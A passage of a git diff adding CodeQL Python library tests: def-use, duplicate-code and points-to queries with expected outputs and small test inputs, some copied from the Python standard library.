b/python/ql/test/library-tests/DefUse/defuse.py new file mode 100644 index 00000000000..715a8d29007 --- /dev/null +++ b/python/ql/test/library-tests/DefUse/defuse.py @@ -0,0 +1,24 @@ +a = 1 +b = 2 +c = 3 +a +b +# c is not used +d # not defined + +try: + pass +except E1: + pass + +try: + pass +except E2 as ex: + ex + +with C1: + pass + +with C2 as ctx: + ctx + diff --git a/python/ql/test/library-tests/DuplicateCode/Duplicate.expected b/python/ql/test/library-tests/DuplicateCode/Duplicate.expected new file mode 100644 index 00000000000..5c7717546d6 --- /dev/null +++ b/python/ql/test/library-tests/DuplicateCode/Duplicate.expected @@ -0,0 +1,2 @@ +| Duplicate code: 34 duplicated lines. | Duplicate code: 34 duplicated lines. | duplicate_test.py | 9 | 42 | +| Duplicate code: 80 duplicated lines. | Duplicate code: 80 duplicated lines. | duplicate_test.py | 84 | 163 | diff --git a/python/ql/test/library-tests/DuplicateCode/Duplicate.ql b/python/ql/test/library-tests/DuplicateCode/Duplicate.ql new file mode 100644 index 00000000000..3368fef9d16 --- /dev/null +++ b/python/ql/test/library-tests/DuplicateCode/Duplicate.ql @@ -0,0 +1,21 @@ +/** + * @name Duplicate + * @description Insert description here... + * @kind problem + * @problem.severity warning + */ + +import python + +import external.CodeDuplication + +predicate lexically_sorted(DuplicateBlock dup1, DuplicateBlock dup2) { + dup1.sourceFile().getName() < dup2.sourceFile().getName() + or + dup1.sourceFile().getName() = dup2.sourceFile().getName() and dup1.sourceStartLine() < dup2.sourceStartLine() +} + +from DuplicateBlock dup1, DuplicateBlock dup2 +where dup1.getEquivalenceClass() = dup2.getEquivalenceClass() +and lexically_sorted(dup1, dup2) +select dup1.toString(), dup2.toString(), dup1.sourceFile().getShortName(), dup1.sourceStartLine(), dup1.sourceEndLine() \ No newline at end of file diff --git a/python/ql/test/library-tests/DuplicateCode/DuplicateStatements.expected b/python/ql/test/library-tests/DuplicateCode/DuplicateStatements.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/DuplicateCode/DuplicateStatements.ql b/python/ql/test/library-tests/DuplicateCode/DuplicateStatements.ql new file mode 100644 index 00000000000..a4243bca968 --- /dev/null +++ b/python/ql/test/library-tests/DuplicateCode/DuplicateStatements.ql @@ -0,0 +1,25 @@ +/** + * @name DuplicateStatements + * @description Insert description here... + * @kind problem + * @problem.severity warning + */ + +import python +import external.CodeDuplication + +predicate mostlyDuplicateFunction(Function f) { + exists(int covered, int total, Function other, int percent | + duplicateStatements(f, other, covered, total) and + covered != total and + total > 5 and + covered * 100 / total = percent and + percent > 80 and + not exists(Scope s | s = f.getScope*() | duplicateScopes(s, _, _, _)) + ) +} + +from Stmt s +where mostlyDuplicateFunction(s.getScope()) and +not duplicateStatement(s.getScope(), _, s, _) +select s.toString(), s.getLocation().toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/DuplicateCode/Similar.expected b/python/ql/test/library-tests/DuplicateCode/Similar.expected new file mode 100644 index 00000000000..34e0b8f745c --- /dev/null +++ b/python/ql/test/library-tests/DuplicateCode/Similar.expected @@ -0,0 +1,23 @@ +| duplicate_test.py:9:1:20:17 | Similar code: 12 almost duplicated lines. | duplicate_test.py:47:1:58:17 | Similar code: 12 almost duplicated lines. | duplicate_test.py | 9 | 20 | +| duplicate_test.py:9:1:20:17 | Similar code: 12 almost duplicated lines. | duplicate_test.py:249:1:260:17 | Similar code: 12 almost duplicated lines. | duplicate_test.py | 9 | 20 | +| duplicate_test.py:9:1:20:17 | Similar code: 12 almost duplicated lines. | duplicate_test.py:287:1:298:17 | Similar code: 12 almost duplicated lines. | duplicate_test.py | 9 | 20 | +| duplicate_test.py:14:8:25:13 | Similar code: 12 almost duplicated lines. | duplicate_test.py:52:8:63:13 | Similar code: 12 almost duplicated lines. | duplicate_test.py | 14 | 25 | +| duplicate_test.py:14:8:25:13 | Similar code: 12 almost duplicated lines. | duplicate_test.py:254:8:265:13 | Similar code: 12 almost duplicated lines. | duplicate_test.py | 14 | 25 | +| duplicate_test.py:20:28:42:31 | Similar code: 23 almost duplicated lines. | duplicate_test.py:58:28:80:31 | Similar code: 23 almost duplicated lines. | duplicate_test.py | 20 | 42 | +| duplicate_test.py:20:28:42:31 | Similar code: 23 almost duplicated lines. | duplicate_test.py:260:28:282:31 | Similar code: 23 almost duplicated lines. | duplicate_test.py | 20 | 42 | +| duplicate_test.py:20:28:42:31 | Similar code: 23 almost duplicated lines. | duplicate_test.py:296:40:318:31 | Similar code: 23 almost duplicated lines. | duplicate_test.py | 20 | 42 | +| duplicate_test.py:36:1:47:0 | Similar code: 12 almost duplicated lines. | duplicate_test.py:74:1:84:0 | Similar code: 11 almost duplicated lines. | duplicate_test.py | 36 | 47 | +| duplicate_test.py:36:1:47:0 | Similar code: 12 almost duplicated lines. | duplicate_test.py:276:1:287:0 | Similar code: 12 almost duplicated lines. | duplicate_test.py | 36 | 47 | +| duplicate_test.py:36:22:56:26 | Similar code: 21 almost duplicated lines. | duplicate_test.py:276:21:296:26 | Similar code: 21 almost duplicated lines. | duplicate_test.py | 36 | 56 | +| duplicate_test.py:42:22:57:9 | Similar code: 16 almost duplicated lines. | duplicate_test.py:245:20:259:9 | Similar code: 15 almost duplicated lines. | duplicate_test.py | 42 | 57 | +| duplicate_test.py:42:22:57:9 | Similar code: 16 almost duplicated lines. | duplicate_test.py:282:22:297:9 | Similar code: 16 almost duplicated lines. | duplicate_test.py | 42 | 57 | +| duplicate_test.py:47:1:58:17 | Similar code: 12 almost duplicated lines. | duplicate_test.py:249:1:260:17 | Similar code: 12 almost duplicated lines. | duplicate_test.py | 47 | 58 | +| duplicate_test.py:47:1:58:17 | Similar code: 12 almost duplicated lines. | duplicate_test.py:287:1:298:17 | Similar code: 12 almost duplicated lines. | duplicate_test.py | 47 | 58 | +| duplicate_test.py:52:8:63:13 | Similar code: 12 almost duplicated lines. | duplicate_test.py:254:8:265:13 | Similar code: 12 almost duplicated lines. | duplicate_test.py | 52 | 63 | +| duplicate_test.py:58:28:80:31 | Similar code: 23 almost duplicated lines. | duplicate_test.py:260:28:282:31 | Similar code: 23 almost duplicated lines. | duplicate_test.py | 58 | 80 | +| duplicate_test.py:58:28:80:31 | Similar code: 23 almost duplicated lines. | duplicate_test.py:296:40:318:31 | Similar code: 23 almost duplicated lines. | duplicate_test.py | 58 | 80 | +| duplicate_test.py:74:1:84:0 | Similar code: 11 almost duplicated lines. | duplicate_test.py:276:1:287:0 | Similar code: 12 almost duplicated lines. | duplicate_test.py | 74 | 84 | +| duplicate_test.py:82:25:163:24 | Similar code: 82 almost duplicated lines. | duplicate_test.py:163:24:245:24 | Similar code: 83 almost duplicated lines. | duplicate_test.py | 82 | 163 | +| duplicate_test.py:245:20:259:9 | Similar code: 15 almost duplicated lines. | duplicate_test.py:282:22:297:9 | Similar code: 16 almost duplicated lines. | duplicate_test.py | 245 | 259 | +| duplicate_test.py:249:1:260:17 | Similar code: 12 almost duplicated lines. | duplicate_test.py:287:1:298:17 | Similar code: 12 almost duplicated lines. | duplicate_test.py | 249 | 260 | +| duplicate_test.py:260:28:282:31 | Similar code: 23 almost duplicated lines. | duplicate_test.py:296:40:318:31 | Similar code: 23 almost duplicated lines. | duplicate_test.py | 260 | 282 | diff --git a/python/ql/test/library-tests/DuplicateCode/Similar.ql b/python/ql/test/library-tests/DuplicateCode/Similar.ql new file mode 100644 index 00000000000..c055551793e --- /dev/null +++ b/python/ql/test/library-tests/DuplicateCode/Similar.ql @@ -0,0 +1,21 @@ +/** + * @name Similar + * @description Insert description here... + * @kind problem + * @problem.severity warning + */ + +import python + +import external.CodeDuplication + +predicate lexically_sorted(SimilarBlock dup1, SimilarBlock dup2) { + dup1.sourceFile().getName() < dup2.sourceFile().getName() + or + dup1.sourceFile().getName() = dup2.sourceFile().getName() and dup1.sourceStartLine() < dup2.sourceStartLine() +} + +from SimilarBlock dup1, SimilarBlock dup2 +where dup1.getEquivalenceClass() = dup2.getEquivalenceClass() +and lexically_sorted(dup1, dup2) +select dup1, dup2, dup1.sourceFile().getShortName(), dup1.sourceStartLine(), dup1.sourceEndLine() \ No newline at end of file diff --git a/python/ql/test/library-tests/DuplicateCode/duplicate_test.py b/python/ql/test/library-tests/DuplicateCode/duplicate_test.py new file mode 100644 index 00000000000..a382fdefcef --- /dev/null +++ b/python/ql/test/library-tests/DuplicateCode/duplicate_test.py @@ -0,0 +1,321 @@ +#Code Duplication + + +#Exact duplication of function + +#Code copied from stdlib, copyright PSF. +#See http://www.python.org/download/releases/2.7/license/ + +def dis(x=None): + """Disassemble classes, methods, functions, or code. + + With no argument, disassemble the last traceback. + + """ + if x is None: + distb() + return + if isinstance(x, types.InstanceType): + x = x.__class__ + if hasattr(x, 'im_func'): + x = x.im_func + if hasattr(x, 'func_code'): + x = x.func_code + if hasattr(x, '__dict__'): + items = x.__dict__.items() + items.sort() + for name, x1 in items: + if isinstance(x1, _have_code): + print "Disassembly of %s:" % name + try: + dis(x1) + except TypeError, msg: + print "Sorry:", msg + print + elif hasattr(x, 'co_code'): + disassemble(x) + elif isinstance(x, str): + disassemble_string(x) + else: + raise TypeError, \ + "don't know how to disassemble %s objects" % \ + type(x).__name__ + + +#And duplicate version + +def dis2(x=None): + """Disassemble classes, methods, functions, or code. + + With no argument, disassemble the last traceback. + + """ + if x is None: + distb() + return + if isinstance(x, types.InstanceType): + x = x.__class__ + if hasattr(x, 'im_func'): + x = x.im_func + if hasattr(x, 'func_code'): + x = x.func_code + if hasattr(x, '__dict__'): + items = x.__dict__.items() + items.sort() + for name, x1 in items: + if isinstance(x1, _have_code): + print "Disassembly of %s:" % name + try: + dis(x1) + except TypeError, msg: + print "Sorry:", msg + print + elif hasattr(x, 'co_code'): + disassemble(x) + elif isinstance(x, str): + disassemble_string(x) + else: + raise TypeError, \ + "don't know how to disassemble %s objects" % \ + type(x).__name__ + +#Exactly duplicate class + +class Popen3: + """Class representing a child process. Normally, instances are created + internally by the functions popen2() and popen3().""" + + sts = -1 # Child not completed yet + + def __init__(self, cmd, capturestderr=False, bufsize=-1): + """The parameter 'cmd' is the shell command to execute in a + sub-process. On UNIX, 'cmd' may be a sequence, in which case arguments + will be passed directly to the program without shell intervention (as + with os.spawnv()). If 'cmd' is a string it will be passed to the shell + (as with os.system()). The 'capturestderr' flag, if true, specifies + that the object should capture standard error output of the child + process. The default is false. If the 'bufsize' parameter is + specified, it specifies the size of the I/O buffers to/from the child + process.""" + _cleanup() + self.cmd = cmd + p2cread, p2cwrite = os.pipe() + c2pread, c2pwrite = os.pipe() + if capturestderr: + errout, errin = os.pipe() + self.pid = os.fork() + if self.pid == 0: + # Child + os.dup2(p2cread, 0) + os.dup2(c2pwrite, 1) + if capturestderr: + os.dup2(errin, 2) + self._run_child(cmd) + os.close(p2cread) + self.tochild = os.fdopen(p2cwrite, 'w', bufsize) + os.close(c2pwrite) + self.fromchild = os.fdopen(c2pread, 'r', bufsize) + if capturestderr: + os.close(errin) + self.childerr = os.fdopen(errout, 'r', bufsize) + else: + self.childerr = None + + def __del__(self): + # In case the child hasn't been waited on, check if it's done. + self.poll(_deadstate=sys.maxint) + if self.sts < 0: + if _active is not None: + # Child is still running, keep us alive until we can wait on it. + _active.append(self) + + def _run_child(self, cmd): + if isinstance(cmd, basestring): + cmd = ['/bin/sh', '-c', cmd] + os.closerange(3, MAXFD) + try: + os.execvp(cmd[0], cmd) + finally: + os._exit(1) + + def poll(self, _deadstate=None): + """Return the exit status of the child process if it has finished, + or -1 if it hasn't finished yet.""" + if self.sts < 0: + try: + pid, sts = os.waitpid(self.pid, os.WNOHANG) + # pid will be 0 if self.pid hasn't terminated + if pid == self.pid: + self.sts = sts + except os.error: + if _deadstate is not None: + self.sts = _deadstate + return self.sts + + def wait(self): + """Wait for and return the exit status of the child process.""" + if self.sts < 0: + pid, sts = os.waitpid(self.pid, 0) + # This used to be a test, but it is believed to be + # always true, so I changed it to an assertion - mvl + assert pid == self.pid + self.sts = sts + return self.sts + + +class Popen3Again: + """Class representing a child process. Normally, instances are created + internally by the functions popen2() and popen3().""" + + sts = -1 # Child not completed yet + + def __init__(self, cmd, capturestderr=False, bufsize=-1): + """The parameter 'cmd' is the shell command to execute in a + sub-process. On UNIX, 'cmd' may be a sequence, in which case arguments + will be passed directly to the program without shell intervention (as + with os.spawnv()). If 'cmd' is a string it will be passed to the shell + (as with os.system()). The 'capturestderr' flag, if true, specifies + that the object should capture standard error output of the child + process. The default is false. If the 'bufsize' parameter is + specified, it specifies the size of the I/O buffers to/from the child + process.""" + _cleanup() + self.cmd = cmd + p2cread, p2cwrite = os.pipe() + c2pread, c2pwrite = os.pipe() + if capturestderr: + errout, errin = os.pipe() + self.pid = os.fork() + if self.pid == 0: + # Child + os.dup2(p2cread, 0) + os.dup2(c2pwrite, 1) + if capturestderr: + os.dup2(errin, 2) + self._run_child(cmd) + os.close(p2cread) + self.tochild = os.fdopen(p2cwrite, 'w', bufsize) + os.close(c2pwrite) + self.fromchild = os.fdopen(c2pread, 'r', bufsize) + if capturestderr: + os.close(errin) + self.childerr = os.fdopen(errout, 'r', bufsize) + else: + self.childerr = None + + def __del__(self): + # In case the child hasn't been waited on, check if it's done. + self.poll(_deadstate=sys.maxint) + if self.sts < 0: + if _active is not None: + # Child is still running, keep us alive until we can wait on it. + _active.append(self) + + def _run_child(self, cmd): + if isinstance(cmd, basestring): + cmd = ['/bin/sh', '-c', cmd] + os.closerange(3, MAXFD) + try: + os.execvp(cmd[0], cmd) + finally: + os._exit(1) + + def poll(self, _deadstate=None): + """Return the exit status of the child process if it has finished, + or -1 if it hasn't finished yet.""" + if self.sts < 0: + try: + pid, sts = os.waitpid(self.pid, os.WNOHANG) + # pid will be 0 if self.pid hasn't terminated + if pid == self.pid: + self.sts = sts + except os.error: + if _deadstate is not None: + self.sts = _deadstate + return self.sts + + def wait(self): + """Wait for and return the exit status of the child process.""" + if self.sts < 0: + pid, sts = os.waitpid(self.pid, 0) + # This used to be a test, but it is believed to be + # always true, so I changed it to an assertion - mvl + assert pid == self.pid + self.sts = sts + return self.sts + +#Duplicate function with identifiers changed + +def dis3(y=None): + """frobnicate classes, methods, functions, or code. + + With no argument, frobnicate the last traceback. + + """ + if y is None: + distb() + return + if isinstance(y, types.InstanceType): + y = y.__class__ + if hasattr(y, 'im_func'): + y = y.im_func + if hasattr(y, 'func_code'): + y = y.func_code + if hasattr(y, '__dict__'): + items = y.__dict__.items() + items.sort() + for name, y1 in items: + if isinstance(y1, _have_code): + print "Disassembly of %s:" % name + try: + dis(y1) + except TypeError, msg: + print "Sorry:", msg + print + elif hasattr(y, 'co_code'): + frobnicate(y) + elif isinstance(y, str): + frobnicate_string(y) + else: + raise TypeError, \ + "don't know how to frobnicate %s objects" % \ + type(y).__name__ + + +#Mostly similar function with changed identifiers + +def dis5(z=None): + """splat classes, methods, functions, or code. + + With no argument, splat the last traceback. + + """ + if z is None: + distb() + return + if isinstance(z, types.InstanceType): + z = z.__class__ + if hasattr(y, 'func_code'): + y = y.func_code + if hasattr(z, '__dict__'): + items = z.__dict__.items() + items.sort() + for name, z1 in items: + if isinstance(z1, _have_code): + print "Disassembly of %s:" % name + try: + dis(z1) + except TypeError, msg: + print "Sorry:", msg + print + elif hasattr(z, 'co_code'): + splat(z) + elif isinstance(z, str): + splat_string(z) + else: + raise TypeError, \ + "don't know how to splat %s objects" % \ + type(z).__name__ + + + diff --git a/python/ql/test/library-tests/PointsTo/calls/Argument.expected b/python/ql/test/library-tests/PointsTo/calls/Argument.expected new file mode 100644 index 00000000000..dbc7e586f47 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/calls/Argument.expected @@ -0,0 +1,15 @@ +| 19 | 0 | ControlFlowNode for w | Function f | +| 19 | 1 | ControlFlowNode for x | Function f | +| 19 | 2 | ControlFlowNode for y | Function f | +| 21 | 0 | ControlFlowNode for y | Function f | +| 21 | 1 | ControlFlowNode for w | Function f | +| 21 | 2 | ControlFlowNode for z | Function f | +| 23 | 0 | ControlFlowNode for c | Function f | +| 23 | 1 | ControlFlowNode for w | Function f | +| 23 | 2 | ControlFlowNode for z | Function f | +| 24 | 0 | ControlFlowNode for c | Function n | +| 24 | 1 | ControlFlowNode for x | Function n | +| 25 | 0 | ControlFlowNode for y | Function n | +| 25 | 1 | ControlFlowNode for z | Function n | +| 33 | 0 | ControlFlowNode for IntegerLiteral | Function foo | +| 34 | 0 | ControlFlowNode for IntegerLiteral | Function foo | diff --git a/python/ql/test/library-tests/PointsTo/calls/Argument.ql b/python/ql/test/library-tests/PointsTo/calls/Argument.ql new file mode 100644 index 00000000000..e88baf75791 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/calls/Argument.ql @@ -0,0 +1,5 @@ +import python + +from ControlFlowNode arg, FunctionObject func, int i +where arg = func.getArgumentForCall(_, i) +select arg.getLocation().getStartLine(), i, arg.toString(), func.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/calls/Call.expected b/python/ql/test/library-tests/PointsTo/calls/Call.expected new file mode 100644 index 00000000000..9e9c5646d89 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/calls/Call.expected @@ -0,0 +1,7 @@ +| 19 | ControlFlowNode for f() | Function f | +| 21 | ControlFlowNode for f() | Function f | +| 23 | ControlFlowNode for Attribute() | Function f | +| 24 | ControlFlowNode for Attribute() | Function n | +| 25 | ControlFlowNode for Attribute() | Function n | +| 33 | ControlFlowNode for Attribute() | Function foo | +| 34 | ControlFlowNode for Attribute() | Function foo | diff --git a/python/ql/test/library-tests/PointsTo/calls/Call.ql b/python/ql/test/library-tests/PointsTo/calls/Call.ql new file mode 100644 index 00000000000..d1cfbdad690 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/calls/Call.ql @@ -0,0 +1,7 @@ + +import python + +from ControlFlowNode call, FunctionObject func + +where call = func.getACall() +select call.getLocation().getStartLine(), call.toString(), func.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/calls/test.py b/python/ql/test/library-tests/PointsTo/calls/test.py new file mode 100644 index 00000000000..38667a4a6e1 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/calls/test.py @@ -0,0 +1,34 @@ + +def f(arg0, arg1, arg2): + pass + +class C(object): + + m = f + + def n(self, arg1): + pass + +w = 0 +x = 1 +y = 2 +z = 3 + +def calls(): + outer = False + f(w, x, y) + def inner(): + f(y, w, z) + c = C() + c.m(w, z) + c.n(x) + C.n(y, z) + +class D(object): + + @staticmethod + def foo(arg): + return arg + +D.foo(1) +D().foo(2) diff --git a/python/ql/test/library-tests/PointsTo/customise/test.expected b/python/ql/test/library-tests/PointsTo/customise/test.expected new file mode 100644 index 00000000000..739123d92c7 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/customise/test.expected @@ -0,0 +1,9 @@ +| 9 | ControlFlowNode for has_type_int | Function has_type_int | builtin-class function | +| 9 | ControlFlowNode for has_type_int() | has_type_int() | builtin-class int | +| 9 | ControlFlowNode for x | has_type_int() | builtin-class int | +| 10 | ControlFlowNode for has_type_float | Function has_type_float | builtin-class function | +| 10 | ControlFlowNode for has_type_float() | has_type_float() | builtin-class float | +| 10 | ControlFlowNode for y | has_type_float() | builtin-class float | +| 11 | ControlFlowNode for Tuple | Tuple | builtin-class tuple | +| 11 | ControlFlowNode for x | has_type_int() | builtin-class int | +| 11 | ControlFlowNode for y | has_type_float() | builtin-class float | diff --git a/python/ql/test/library-tests/PointsTo/customise/test.py b/python/ql/test/library-tests/PointsTo/customise/test.py new file mode 100644 index 00000000000..f6aef15a9ff --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/customise/test.py @@ -0,0 +1,11 @@ +def has_type_int(): + return untaceable() + +def has_type_float(): + return untaceable2() + +def test(): + #Ignore before this comment + x = has_type_int() + y = has_type_float() + return x, y \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/customise/test.ql b/python/ql/test/library-tests/PointsTo/customise/test.ql new file mode 100644 index 00000000000..dca091e2e4f --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/customise/test.ql @@ -0,0 +1,35 @@ + +import python +import semmle.python.types.Extensions + +/* Customise: Claim any function called has_type_XXX return any class + * whose name matches XXX + */ +class HasTypeFact extends CustomPointsToOriginFact { + + HasTypeFact() { + exists(FunctionObject func, string name | + func.getACall() = this and + name = func.getName() and + name.prefix("has_type_".length()) = "has_type_" + ) + } + + override predicate pointsTo(Object value, ClassObject cls) { + exists(FunctionObject func, string name | + func.getACall() = this and + name = func.getName() and + name.prefix("has_type_".length()) = "has_type_" | + cls.getName() = name.suffix("has_type_".length()) + ) and + value = this + } + +} + + +from int line, ControlFlowNode f, Object o, ClassObject c +where f.getLocation().getStartLine() = line and + exists(Comment ct | ct.getLocation().getStartLine() < line) and + f.refersTo(o, c, _) +select line, f.toString(), o.toString(), c.toString() diff --git a/python/ql/test/library-tests/PointsTo/decorators/Test.expected b/python/ql/test/library-tests/PointsTo/decorators/Test.expected new file mode 100644 index 00000000000..136adce143f --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/decorators/Test.expected @@ -0,0 +1,3 @@ +| 41 | ControlFlowNode for func1 | Function func1 | test.py:23 | +| 42 | ControlFlowNode for func2 | Function wrapper | test.py:10 | +| 43 | ControlFlowNode for func3 | Function wrapper | test.py:17 | diff --git a/python/ql/test/library-tests/PointsTo/decorators/Test.ql b/python/ql/test/library-tests/PointsTo/decorators/Test.ql new file mode 100644 index 00000000000..c873feb9b48 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/decorators/Test.ql @@ -0,0 +1,11 @@ +import python + +from ControlFlowNode f, Object o, ControlFlowNode x, int line + +where f.refersTo(o, x) and +f.getLocation().getFile().getBaseName() = "test.py" and +// We don't care about the internals of functools which vary from +// version to version, just the end result. +line = f.getLocation().getStartLine() and line > 40 + +select line, f.toString(), o.toString(), x.getLocation().toString() diff --git a/python/ql/test/library-tests/PointsTo/decorators/test.py b/python/ql/test/library-tests/PointsTo/decorators/test.py new file mode 100644 index 00000000000..1c83d17fef4 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/decorators/test.py @@ -0,0 +1,43 @@ +import functools + +def annotate(value): + def inner(func): + func.annotation = value + return func + return inner + +def wraps1(func): + def wrapper(*args): + res = func(*args) + return res + return wrapper + +def wraps2(func): + @functools.wraps(func) + def wrapper(*args): + res = func(*args) + return res + return wrapper + +@annotate(100) +def func1(): + pass + +@wraps1 +def func2(): + pass + +@wraps2 +def func3(): + pass + + + + + + + + +func1 +func2 +func3 \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/functions/Calls.expected b/python/ql/test/library-tests/PointsTo/functions/Calls.expected new file mode 100644 index 00000000000..23dc828d03f --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/functions/Calls.expected @@ -0,0 +1,5 @@ +| 7 | ControlFlowNode for fail() | Function fail | function | +| 11 | ControlFlowNode for print() | Builtin-function print | function | +| 12 | ControlFlowNode for Attribute() | Builtin-function exit | function | +| 15 | ControlFlowNode for bar() | Function bar | function | +| 19 | ControlFlowNode for bar() | Function bar | function | diff --git a/python/ql/test/library-tests/PointsTo/functions/Calls.ql b/python/ql/test/library-tests/PointsTo/functions/Calls.ql new file mode 100644 index 00000000000..6f1e8cf8bd3 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/functions/Calls.ql @@ -0,0 +1,12 @@ + +import python + +from CallNode call, FunctionObject func, string kind +where +(func.getAMethodCall() = call and kind = "method" + or + func.getAFunctionCall() = call and kind = "function" +) +and +call.getLocation().getFile().getShortName().matches("odasa%") +select call.getLocation().getStartLine(), call.toString(), func.toString(), kind diff --git a/python/ql/test/library-tests/PointsTo/functions/NeverReturns.expected b/python/ql/test/library-tests/PointsTo/functions/NeverReturns.expected new file mode 100644 index 00000000000..41ad8f89bc7 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/functions/NeverReturns.expected @@ -0,0 +1,2 @@ +| Builtin-function exit | +| Function fail | diff --git a/python/ql/test/library-tests/PointsTo/functions/NeverReturns.ql b/python/ql/test/library-tests/PointsTo/functions/NeverReturns.ql new file mode 100644 index 00000000000..ebb69fc7a0f --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/functions/NeverReturns.ql @@ -0,0 +1,6 @@ + +import python + +from FunctionObject f +where f.neverReturns() +select f.toString() diff --git a/python/ql/test/library-tests/PointsTo/functions/odasa6418.py b/python/ql/test/library-tests/PointsTo/functions/odasa6418.py new file mode 100644 index 00000000000..e396f2fd282 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/functions/odasa6418.py @@ -0,0 +1,24 @@ + +from __future__ import print_function +import sys + +def bar(cond): + if cond: + fail("cond true") + + +def fail(message, *args): + print('Error:', message % args, file=sys.stderr) + sys.exit(1) + +def foo(cond): + bar() + +# To get the FP result reported in ODASA-6418, +#bar must be called directly (not transitively) from the module scope +bar(unknown()) + +#The following do not trigger the bug +#foo(unknown()) +#pass + diff --git a/python/ql/test/library-tests/PointsTo/functions/test.expected b/python/ql/test/library-tests/PointsTo/functions/test.expected new file mode 100644 index 00000000000..e2959372536 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/functions/test.expected @@ -0,0 +1,2 @@ +| 9 | Function meth | +| 14 | Function meth | \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/functions/test.py b/python/ql/test/library-tests/PointsTo/functions/test.py new file mode 100644 index 00000000000..b72d1f3bcd8 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/functions/test.py @@ -0,0 +1,14 @@ +class Base(object): + + def meth(self): + pass + +class Derived1(Base): + + def uses_meth(self): + return self.meth() + +class Derived2(Derived1): + + def uses_meth(self): + return self.meth() diff --git a/python/ql/test/library-tests/PointsTo/functions/test.ql b/python/ql/test/library-tests/PointsTo/functions/test.ql new file mode 100644 index 00000000000..dd1a070d99f --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/functions/test.ql @@ -0,0 +1,9 @@ +import python + +from Call c, FunctionObject f + +where c.getFunc().(Attribute).getObject().(Name).getId() = "self" +and +f.getACall().getNode() = c + +select c.getLocation().getStartLine(), f.toString() diff --git a/python/ql/test/library-tests/PointsTo/general/GlobalPointsTo.expected b/python/ql/test/library-tests/PointsTo/general/GlobalPointsTo.expected new file mode 100644 index 00000000000..f4a26e6919b --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/general/GlobalPointsTo.expected @@ -0,0 +1,178 @@ +| Class Base | 147 | ControlFlowNode for FunctionExpr | Function __init__ | +| Class Base | 147 | ControlFlowNode for __init__ | Function __init__ | +| Class Base2 | 175 | ControlFlowNode for FunctionExpr | Function __init__ | +| Class Base2 | 175 | ControlFlowNode for __init__ | Function __init__ | +| Class Base2 | 178 | ControlFlowNode for IntegerLiteral | int 1 | +| Class Base2 | 178 | ControlFlowNode for x | int 1 | +| Class Derived4 | 182 | ControlFlowNode for FunctionExpr | Function __init__ | +| Class Derived4 | 182 | ControlFlowNode for __init__ | Function __init__ | +| Class E | 195 | ControlFlowNode for FunctionExpr | Function _internal | +| Class E | 195 | ControlFlowNode for _internal | Function _internal | +| Class E | 201 | ControlFlowNode for _internal | Function _internal | +| Class E | 201 | ControlFlowNode for _internal() | Function wrapper | +| Class E | 202 | ControlFlowNode for FunctionExpr | Function method | +| Class E | 202 | ControlFlowNode for method | Function wrapper | +| Class F | 250 | ControlFlowNode for g3 | NoneType None | +| Class F | 251 | ControlFlowNode for g3 | NoneType None | +| Class G | 256 | ControlFlowNode for IntegerLiteral | int 0 | +| Class G | 256 | ControlFlowNode for attr | int 0 | +| Class G | 258 | ControlFlowNode for FunctionExpr | Function __init__ | +| Class G | 258 | ControlFlowNode for __init__ | Function __init__ | +| Class G | 261 | ControlFlowNode for FunctionExpr | Function meth | +| Class G | 261 | ControlFlowNode for meth | Function meth | +| Class Ugly | 240 | ControlFlowNode for FunctionExpr | Function __init__ | +| Class Ugly | 240 | ControlFlowNode for __init__ | Function __init__ | +| Class Ugly | 244 | ControlFlowNode for FunctionExpr | Function meth | +| Class Ugly | 244 | ControlFlowNode for meth | Function meth | +| Class X | 36 | ControlFlowNode for classmethod | builtin-class classmethod | +| Class X | 36 | ControlFlowNode for classmethod() | classmethod() | +| Class X | 37 | ControlFlowNode for FunctionExpr | Function method1 | +| Class X | 37 | ControlFlowNode for method1 | classmethod() | +| Class X | 41 | ControlFlowNode for FunctionExpr | Function method2 | +| Module pointsto_test | 17 | ControlFlowNode for Attribute | list object | +| Module pointsto_test | 17 | ControlFlowNode for Compare | bool False | +| Module pointsto_test | 17 | ControlFlowNode for Compare | bool True | +| Module pointsto_test | 17 | ControlFlowNode for IntegerLiteral | int 2 | +| Module pointsto_test | 17 | ControlFlowNode for len | Builtin-function len | +| Module pointsto_test | 17 | ControlFlowNode for len() | len() | +| Module pointsto_test | 17 | ControlFlowNode for sys | Module sys | +| Module pointsto_test | 18 | ControlFlowNode for C | class C | +| Module pointsto_test | 18 | ControlFlowNode for v1 | class C | +| Module pointsto_test | 20 | ControlFlowNode for D | class D | +| Module pointsto_test | 20 | ControlFlowNode for v1 | class D | +| Module pointsto_test | 21 | ControlFlowNode for v1 | class C | +| Module pointsto_test | 21 | ControlFlowNode for v1 | class D | +| Module pointsto_test | 21 | ControlFlowNode for v1() | v1() | +| Module pointsto_test | 21 | ControlFlowNode for v2 | v1() | +| Module pointsto_test | 23 | ControlFlowNode for FunctionExpr | Function f | +| Module pointsto_test | 23 | ControlFlowNode for f | Function f | +| Module pointsto_test | 30 | ControlFlowNode for FunctionExpr | Function g | +| Module pointsto_test | 30 | ControlFlowNode for g | Function g | +| Module pointsto_test | 33 | ControlFlowNode for f | Function f | +| Module pointsto_test | 33 